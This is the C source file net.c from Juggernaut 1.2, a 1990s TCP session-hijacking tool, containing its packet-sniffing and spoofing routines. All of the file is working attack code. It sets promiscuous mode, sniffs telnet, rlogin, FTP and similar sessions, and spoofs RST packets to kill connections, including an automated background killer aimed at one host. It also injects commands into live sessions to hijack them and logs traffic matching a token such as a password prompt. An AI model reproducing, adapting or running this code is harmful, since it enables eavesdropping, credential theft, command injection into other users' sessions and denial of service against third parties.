/*
 *
 *                                  Juggernaut
 *                                  Version 1.2
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  net.c - network/socket control code and abstract data types 
 * 
 *  In the interest of time overhead vs. code size, I created several functions
 *  that do much the same thing.  You will notice the reset and jack code is 
 *  quite redundant.  Life is rough like that.  Deal with it.  Also, there are 
 *  problems with freeing malloc'd memory.
 * 
 */


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <arpa/inet.h>
#include <signal.h>
#include <string.h>
#include <setjmp.h>
#include <unistd.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <linux/if.h>
#include <linux/sockios.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/ioctl.h>

#define DEVICE "eth0"
#define ETHHDR  14
#define PHDR    12
#define TCPHDR  20
#define IPHDR   20
#define BUFSIZE 512
#define MINIBUF	10
#define RSTS	10	/* Number of RSTs to send when RSTing a connection */
#define JCKRST	3	/* You may wish to experiment with this value.  The 
			   smaller it is, your command have less time to 
			   complete on the target.  However, the ACK storm 
			   will also be much shorter... */
#define SNIFLOG "./juggernaut.log.snif"
					   
struct iphdr  *iphp;	    /* Pointer into current packets IP header */
struct tcphdr *tcphp;       /* Pointer into current packets TCP header */
struct ethhdr *ethhp;	    /* Pointer into current packets ethernet header */

			    /* Macro to align the pointers into the ethernet, 
                               IP, and TCP headers. */
#define ALIGNNETPOINTERS(){\
    ethhp=(struct ethhdr *)(((unsigned long)&epack.eth));\
    iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);\
    tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);\
}

struct epack{               /* Generic Ethernet packet w/o data payload */
    struct ethhdr eth;      /* Ethernet Header */
    struct iphdr ip;        /* IP header */
    struct tcphdr tcp;      /* TCP header */
    char payload[8192];	    /* Data Payload */
}epack;

struct connectionInfo{
    unsigned long saddr;    /* Source IP */
    unsigned long daddr;    /* Destination IP */
    unsigned short sport;   /* Source TCP Port */
    unsigned short dport;   /* Destination TCP Port */
};

jmp_buf env;		    /* To preserve our environment */
extern int verbosity;       /* Should we dump error messages? */

/*
 *  Creates a low level raw-packet socket and puts the device into promiscuous 
 *  mode.
 */

int tap(device,mode)
char *device;
int mode;
{
	
    int fd;				
    struct ifreq ifr;   /* Link-layer interface request structure */
                        /* Ethernet code for IP 0x0800==ETH_P_IP */
    if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){	
        if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]");
        exit(1);					           
    }
    strcpy(ifr.ifr_name,device);				
    if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){    /* Get the device info */
        if(verbosity)perror("(tap) Can't get device flags [fatal]");
        close(fd);
      	exit(1);
    }
    if(!mode)ifr.ifr_flags^=IFF_PROMISC;    /* Unset promiscuous mode */
    else ifr.ifr_flags|=IFF_PROMISC;        /* Set promiscuous mode */
    if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){    /* Set flags */
        if(verbosity)perror("(tap) Can't set/unset promiscuous mode [fatal]");
        close(fd);
	exit(1);
    }
    if(!mode){
        close(fd);
        return(0);
    }
    else return(fd);
}



/*
 *  Gimme a raw-IP socket.  Use of IP_HDRINCL is automatic with 2.0.x
 *  kernels.  Not sure about 1.2.x
 */

int rawsock(){

    int fd,val=1;
    
    if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
        if(verbosity)perror("\n(rawsock) Socket problems [fatal]");
        exit(1);
    }  

#ifdef IP_HDRINCL
    if(setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0){  
	if(verbosity){
            perror("Cannot set IP_HDRINCL socket option");
	    fprintf(stderr,"\nIf you are relying on this rather then a hacked kernel to spoof packets, your sunk.\n[cr]");
            getchar();
        }
    }
#endif

    return(fd);
}	


/*
 *  Hunter.  At this point, only cares about connection information (infant
 *  connections and tear-downs).  I should have it pass SEQ and ACK related
 *  info to the relevant functions...  This function will be forked to the
 *  backround as a seperate process, and in future versions it will be
 *  implemented as a seperate thread of execution.
 */
                 
void chunt(){

    void add(struct iphdr *,struct tcphdr *,struct ethhdr *);
    void del(struct iphdr *,struct tcphdr *);

    extern int linksock;		/* raw packet socket */
    
    ALIGNNETPOINTERS();
					/* No alarm timeout here.  We block forever until packets zing by */
    while(1)if(recv(linksock,&epack,sizeof(epack),0)){
        if(iphp->protocol==IPPROTO_TCP&&(tcphp->syn&&!tcphp->ack))add(iphp,tcphp,ethhp);
	if(iphp->protocol==IPPROTO_TCP&&(tcphp->rst||tcphp->fin))del(iphp,tcphp); 
    }
}

/*
 *  addc() wrapper.  Checks to make sure we want to add this connection to
 *  our list....  At this point, we'll take ftp control, ssh (well, we can
 *  RST them) telnet, smtp, http, rlogin, and irc.  
 */

void add(iphp,tcphp,ethhp)
struct iphdr *iphp;
struct tcphdr *tcphp;
struct ethhdr *ethhp;       /* Future Use */
{
    char *addc(struct iphdr *, struct tcphdr *);

    char *msg;

#ifdef GREED
    if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
#ifdef NOHUSH
    fprintf(stderr,"%c",7);
#endif    
    return;
#else
    switch(ntohs(tcphp->dest)){
        case 21:
        case 22:
        case 23:
        case 25:
        case 513:
        case 6667:
            if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
#ifdef NOHUSH
            fprintf(stderr,"%c",7);
#endif    
            return;
        default:
            return;
    }
#endif
}


/*
 *  delc() wrapper.  Checks connection port number to see if we should even
 *  bother passing to the delete function which will do a potentially expensive
 *  linear search...
 */

void del(iphp,tcphp)
struct iphdr *iphp;
struct tcphdr *tcphp;
{
    char *delc(struct iphdr *, struct tcphdr *);

    char *msg;

#ifdef GREED
    if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
    return;
#else
    switch(ntohs(tcphp->dest)){
        case 21:
        case 22:
        case 23:
        case 25:
        case 513:
        case 6667:
            if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
            return;
        default:
            return;
    }
#endif
}


/*
 *  Spy on a connection.  If the packet captured is from the target connection, 
 *  call dumpp().  If fp is valid, prepend header/append footer.
 */

void cspy(target,fp)
struct connectionInfo *target;
FILE *fp;
{

    char *hostLookup(unsigned long);
    void dumpp(char *,int,FILE *);

    extern int sigsentry;
    int tlinksock=tap(DEVICE,1);    /* Spying tap.  XXX- Really dumb way to do this... */
    time_t tp;

    ALIGNNETPOINTERS();
	
    fprintf(stderr,"Spying on connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
    if(fp){
        fprintf(fp,"---------------------------------------------------------------------\n: Juggernaut connection spy log header\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport));
        time(&tp);
        fprintf(fp,": Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
    }
		    /* NO alarm timeout here.  SIGINT kills our spy session */
    while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr && iphp->daddr==target->saddr && tcphp->dest==target->sport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack

.tcp),fp);
	
    if(fp){
        fprintf(fp,"\n---------------------------------------------------------------------\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport)

);
        time(&tp);
        fprintf(fp,": Log ended:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
    }
    close(tlinksock);
}


/*
 *  Dumps the payload.  Dump to file if we have a valid FP.
 */

void dumpp(payload,length,fp)
char *payload;
int length;
FILE *fp;
{
    register int tickytacky=0;
 
    for(;tickytacky<length;tickytacky++){
        fprintf(stderr,"%c",payload[tickytacky]);
	if(fp)fprintf(fp,"%c",payload[tickytacky]);
    }
	
}
 

/*
 *  RST both ends of a connection.  Listen for the client to send a packet so 
 *  we know where the seq/ack #s are and then spoof 10 RSTs to the client which
 *  will then send a RST to the other end when it recieves the legitimate
 *  response packet.
 */

void crst(target)
struct connectionInfo *target;
{

    void nettimeout();
    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);

    char *tempBuf=0;
    extern int ripsock;	
    extern int netreadtimeout;

    struct sockaddr_in sin;         
    
    struct tpack{               /* Generic TCP packet w/o payload */
        struct iphdr ip;
        struct tcphdr tcp;
    }tpack;

    struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;
 		
    int moot=0;
    int tlinksock=tap(DEVICE,1);

    ALIGNNETPOINTERS();

    sin.sin_family=AF_INET;     /* Preload these values.  All we are really 
                                   waiting for are the seq/ack #s */
    sin.sin_port=target->dport;     
    sin.sin_addr.s_addr=target->saddr;

    bzero(&tpack,sizeof(tpack));    /* Zero out these structures so I dunot 
                                       have to assign 0's to the unused
                                       areas... */
    bzero(&ppheader,sizeof(ppheader));             

    tpack.tcp.source=target->dport;	    /* 16-bit Source port number */
    tpack.tcp.dest=target->sport;   	    /* 16-bit Destination port */
    tpack.tcp.doff=5;               	    /* Data offset */
    tpack.tcp.ack=1;                	    /* Acknowledgement field valid flag */
    tpack.tcp.rst=1;                	    /* Reset flag */
    tpack.tcp.window=htons(242);   	    /* 16-bit Window size */

    tpack.ip.version=4;             	    /* 4-bit Version */
    tpack.ip.ihl=5;                 	    /* 4-bit Header Length */
    tpack.ip.tot_len=htons(IPHDR+TCPHDR);   /* 16-bit Total length */
    tpack.ip.ttl=64;                	    /* 8-bit Time To Live */
    tpack.ip.protocol=IPPROTO_TCP;  	    /* 8-bit Protocol */

    tpack.ip.saddr=target->daddr;     	    /* 32-bit Source Address */
    tpack.ip.daddr=target->saddr;     	    /* 32-bit Destination Address */

    tempBuf=(char *)malloc(PHDR+TCPHDR);    /* Checksum stuff */
    ppheader=(struct psuedoHeader *)tempBuf;
    
    ppheader->saddr=tpack.ip.saddr;
    ppheader->daddr=tpack.ip.daddr;
    ppheader->prot=IPPROTO_TCP;
    ppheader->null=0;
    ppheader->tlen=htons(TCPHDR);
 
    fprintf(stderr,"Reseting connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
 
    if(setjmp(env)){			    /* Timeout */
        if(verbosity)fprintf(stderr,"Quiet connection, not reset. [soft error, returning]\n");
	return;
    }
    signal(SIGALRM,nettimeout);
    alarm(netreadtimeout);                  /* Wait 10 seconds for reply */

    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->saddr&&tcphp->source==target->sport){

        for(;moot<RSTS;moot++){                /* Send RSTs, incrementing 
                                                seqs and acks as we go */
            tpack.tcp.seq=tcphp->ack_seq+(htonl(moot));
            tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));

            bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
            tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);

	    sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
        }
	alarm(0);

        /*free(tempBuf);    XXX */
	fprintf(stderr,"Connection torn down.\n");
        close(tlinksock);
	break;
    }
}


/*
 *  Sets up automated connection reseting.  A source and possibly a 
 *  destination host are targeted for reseting.  This function will kill any 
 *  connection attempts from the source (and possibly to a destination).
 */

void acrst(source,target)
unsigned long source, target;
{

    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);
    void spasm();               /* Handles the user defined signal */

    struct tpack{                               
        struct iphdr ip;
        struct tcphdr tcp;
    }tpack;

    struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;
		
    struct sockaddr_in sin;
    
    int moot=0;
    extern int ripsock;	
    extern int acrstpid;
    char *tempBuf=0;
    int tlinksock=tap(DEVICE,1);

    switch((acrstpid=fork())){ 	/* Drop a child to backround, return the 
                                   parent to continue */
        case 0:                 /* Set the priority up a few notchs..  
                                   I get better results */
            if(setpriority(PRIO_PROCESS,0,-20)){
	        if(verbosity)perror("acrst module (setpriority)");
                fprintf(stderr,"[cr]");
                getchar();
            }
            signal(SIGUSR1,spasm);  /* Keep track of the child and register
                                       it with the cleanup signal handler */
            signal(SIGINT,SIG_IGN);         
            signal(SIGQUIT,SIG_IGN);
            break;
        default:
            return;                          
        case -1:
            if(verbosity)perror("acrst module Internal forking error [fatal]");
            exit(1);
    }

    ALIGNNETPOINTERS();
         				        /* Preload these values. */
    sin.sin_family=AF_INET;
       	
    bzero(&tpack,sizeof(tpack));
    bzero(&ppheader,sizeof(ppheader)); 
  
    tpack.tcp.doff=5;   
    tpack.tcp.ack=1;
    tpack.tcp.rst=1;
    tpack.tcp.window=htons(242);	

    tpack.ip.version=4; 
    tpack.ip.ihl=5;
    tpack.ip.tot_len=htons(IPHDR+TCPHDR); 
    tpack.ip.ttl=64;
    tpack.ip.protocol=IPPROTO_TCP; 

    tempBuf=(char *)malloc(PHDR+TCPHDR);
    ppheader=(struct psuedoHeader *)tempBuf;

    ppheader->null=0;
    ppheader->prot=IPPROTO_TCP;
    ppheader->tlen=htons(TCPHDR);
 	
    while(1){
        if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn&&iphp->saddr==source){
            if(target)if(iphp->daddr!=target)continue;

            sin.sin_port=tcphp->dest;     
            sin.sin_addr.s_addr=iphp->saddr;
   
            tpack.tcp.source=tcphp->dest;
            tpack.tcp.dest=tcphp->source;

            for(moot=1;moot<RSTS+1;moot++){     /* Send RSTs, incrementing 
                                               acks as we go */

                tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));

                tpack.tcp.check=0;              		
                tpack.ip.saddr=iphp->daddr; 
                tpack.ip.daddr=iphp->saddr;  
                tpack.ip.check=0;   
    
                ppheader->saddr=tpack.ip.saddr;	
                ppheader->daddr=tpack.ip.daddr;

                bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
                tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);

	        sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
                fprintf(stderr,"%c-%c*",0x08,0x08);
            }
        }
    }
}

/*
 *  Simplex-hijack.  Really just inserts a command into the TCP stream.  This 
 *  will totally desynch the connection however and cause two things to happen:
 *  1) an ACK storm of epic proportions (maybe not, see accompanying paper) and
 *  2) the target user will have her connection destroyed.  To alleviate the 
 *  first problem, we simply reset the connection shortly after we hijack it. 
 *  The second problem is a burden with this kind of hijacking.
 */

void csimplexhijack(target,commandbuf)
struct connectionInfo *target;
char *commandbuf;
{

    void nettimeout();
    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);

    struct tpack{                   /* Generic TCP packet */
        struct iphdr ip;
        struct tcphdr tcp;
        char payload[BUFSIZE];
    }tpack;
   
   struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;
  
    struct sockaddr_in sin;         

    extern int ripsock;	
    extern int netreadtimeout;
    static int len;
    char *tempBuf;
    int tlinksock=tap(DEVICE,1);

    ALIGNNETPOINTERS();

    bzero(&tpack,sizeof(tpack));

    len=strlen(commandbuf)+1;			
    bcopy(commandbuf,tpack.payload,len--);
    sin.sin_family=AF_INET;
    sin.sin_port=target->sport;     
    sin.sin_addr.s_addr=target->daddr;

    tpack.tcp.source=target->sport;
    tpack.tcp.dest=target->dport;
    tpack.tcp.doff=5;
    tpack.tcp.ack=1;
    tpack.tcp.psh=1; 
    tpack.tcp.window=htons(242); 

    tpack.ip.version=4;   
    tpack.ip.ihl=5; 
    tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);	
    tpack.ip.ttl=64;
    tpack.ip.protocol=IPPROTO_TCP; 

    tpack.ip.saddr=target->saddr; 
    tpack.ip.daddr=target->daddr; 

    tempBuf=(char *)malloc(PHDR+TCPHDR+len);    /* Check me out y0 */
    ppheader=(struct psuedoHeader *)tempBuf;


    ppheader->saddr=tpack.ip.saddr;
    ppheader->daddr=tpack.ip.daddr;
    ppheader->null=0;
    ppheader->prot=IPPROTO_TCP;
    ppheader->tlen=htons(TCPHDR+len);
 
    fprintf(stderr,"(simplex) Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
 
    if(setjmp(env)){                            /* Timeout */
        if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
        return;
    }
    signal(SIGALRM,nettimeout);
    alarm(0);
    alarm(netreadtimeout);                      /* Wait 10 seconds for reply */
 
    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
        tpack.tcp.seq=tcphp->ack_seq;
        tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   

        bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
        tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

	sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));

	fprintf(stderr,"Command inserted, connection desynched.\n");
	sleep(JCKRST);	        /* Don't reset the connection too quickly, or 
                                   our command may not complete */
	crst(target);
        close(tlinksock);
        /* free(tempBuf);  	XXX */
	break;
    }
}

/*
 *  Hijack.  Desynchs the server from the client.  The resulting ACK storm 
 *  makes things very difficult.
 */

void chijack(target)
struct connectionInfo *target;
{

    void nettimeout();
    void seizure();
    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);
   

    struct tpack{
        struct iphdr ip;
        struct tcphdr tcp;
        char payload[2*BUFSIZE];
    }tpack;

    struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;                

    struct sockaddr_in sin;

    char buf[10*MINIBUF];
    char *tempBuf=0;

    extern int ripsock;	
    extern int netreadtimeout;
    extern int sigsentry;
    static int len;
    int tlinksock=tap(DEVICE,1);			
    
    ALIGNNETPOINTERS();

    bzero(&tpack,sizeof(tpack));

    sin.sin_family=AF_INET;
    sin.sin_port=target->sport;     
    sin.sin_addr.s_addr=target->daddr;

    tpack.tcp.source=target->sport;
    tpack.tcp.dest=target->dport;
    tpack.tcp.doff=5;
    tpack.tcp.ack=1;
    tpack.tcp.psh=1;
    tpack.tcp.window=htons(1024);

    tpack.ip.version=4;
    tpack.ip.ihl=5; 
    tpack.ip.ttl=64; 
    tpack.ip.protocol=IPPROTO_TCP;

    tpack.ip.saddr=target->saddr; 
    tpack.ip.daddr=target->daddr;

    tempBuf=(char *)malloc(PHDR+TCPHDR+len);
    ppheader=(struct psuedoHeader *)tempBuf;

    ppheader->saddr=tpack.ip.saddr;
    ppheader->daddr=tpack.ip.daddr;
    ppheader->null=0;
    ppheader->prot=IPPROTO_TCP;

    signal(SIGINT,seizure);

    fprintf(stderr,"Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
    fprintf(stderr,"'ctrl-c' when you are finished (this will RST the connection).\n"); 
    fprintf(stderr,"juggernaut>");

    fgets(buf,sizeof(buf),stdin);

    len=strlen(buf)+1;			
    bcopy(buf,tpack.payload,len--);

    tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);		
    ppheader->tlen=htons(TCPHDR+len);

    if(setjmp(env)){
        if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
        return;
    }
    signal(SIGALRM,nettimeout);
    alarm(0);
    alarm(netreadtimeout);  
                            /* Here we setup the initial hijack state.  We 
                               need to desynch the connection, and the next 
                               packet that comes by will be the catalyst. */
    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
        tpack.tcp.seq=tcphp->ack_seq;
        tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   

        bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
        tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);
    
	sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
	break;              
    }                   
                            
    alarm(0);
    while(sigsentry){                               /* Main hijack loop */
	if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
	    if(!tcphp->psh)continue;        /* If this is not data, ignore it */
            dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),0);

            bzero(&buf,sizeof(buf));
	    fgets(buf,sizeof(buf),stdin);
            
            if(!buf[1])continue;        /* No input data (CR) */ 

	    len=strlen(buf)+1;			
	    bcopy(buf,tpack.payload,len--);
            tpack.tcp.psh=1;
            tpack.tcp.check=0;                              
            tpack.ip.check=0; 

            tpack.ip.tot_len=htons(IPHDR+TCPHDR+len); 

            tpack.tcp.seq=tcphp->ack_seq;
            tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   

            ppheader->tlen=htons(TCPHDR+len);         
            bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
            tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

	    sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
        }
    }
    crst(target);
    /*free(tempBuf);        XXX */
    close(tlinksock);
}


/*
 *  Packet sniffer parses TCP packets for token.  Logs that packet, along with
 *  the next 'enticement` number of packets.  Not really all that robust.
 */

void bloodhound(token,enticementfactor)
char *token;
int enticementfactor;
{

    void parsep(char *,int,FILE *);
    void shadow();
    char *hostLookup(unsigned long);

    FILE *fp=0;                         
    time_t tp=0;

    int length=0;
    int grabflag=0;                     /* Time to grab some packets */
    unsigned long targetsourceip=0;
    unsigned short targetsourceport=0;
    int tlinksock=tap(DEVICE,1);          

    if(!(fp=fopen(SNIFLOG,"a+"))){      /* Log to file */
        if(verbosity){
            fprintf(stderr,"Cannot open file for logging. [fatal]\n");
            fprintf(stderr,"[cr]");
        }
        exit(0);
    }

    ALIGNNETPOINTERS();

    fprintf(stderr,"\nDropping to background, sniffing for smarmy tidbits...\n");

    shadow();                           /* Dropped to the background */
    fprintf(stderr,"\nSend a SIGKILL to %d when you are thorugh.\n",getpid());
 
    fprintf(fp,"\n---------------------------------------------------------------------\n[ Juggernaut bloodhound module log: token == '%s' ]\n",token);
    time(&tp);
    fprintf(fp,"[ Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
    fflush(fp);
    
    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP){
        length=htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp);

        if((!grabflag)&&(strstr((epack.payload-2),token))){   
            grabflag=enticementfactor;                           
            targetsourceip=iphp->saddr;                          
            targetsourceport=tcphp->source;
            fprintf(fp,"\n\t %s [%d]\t<-->\t %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest));
            parsep(epack.payload-2,length,fp);
        }                
        if(grabflag){                   /* We have a session marked and are
                                           logging it */
            if(iphp->daddr==targetsourceip&&tcphp->dest==targetsourceport){
                parsep(epack.payload-2,length,fp);
                grabflag--;
            }
        }        
    }
    /* NOTREACHED */
}


/* 
 *  Packet parser.  Print the packet out...
 */

void parsep(payload,length,fp)
char *payload;
int length;
FILE *fp;
{
    register int tickytacky=0;

    for(tickytacky=0;tickytacky<length;tickytacky++){
        if(payload[tickytacky]==0xd){        /* newline characater */
            fprintf(fp,"\n");
            continue;
        }
        if(isprint(payload[tickytacky]))fprintf(fp,"%c",payload[tickytacky]);
    }
    fflush(fp);
}


/*
 *  Handles network timeouts.
 */

void nettimeout(){

    alarm(0);
    longjmp(env,1);
}
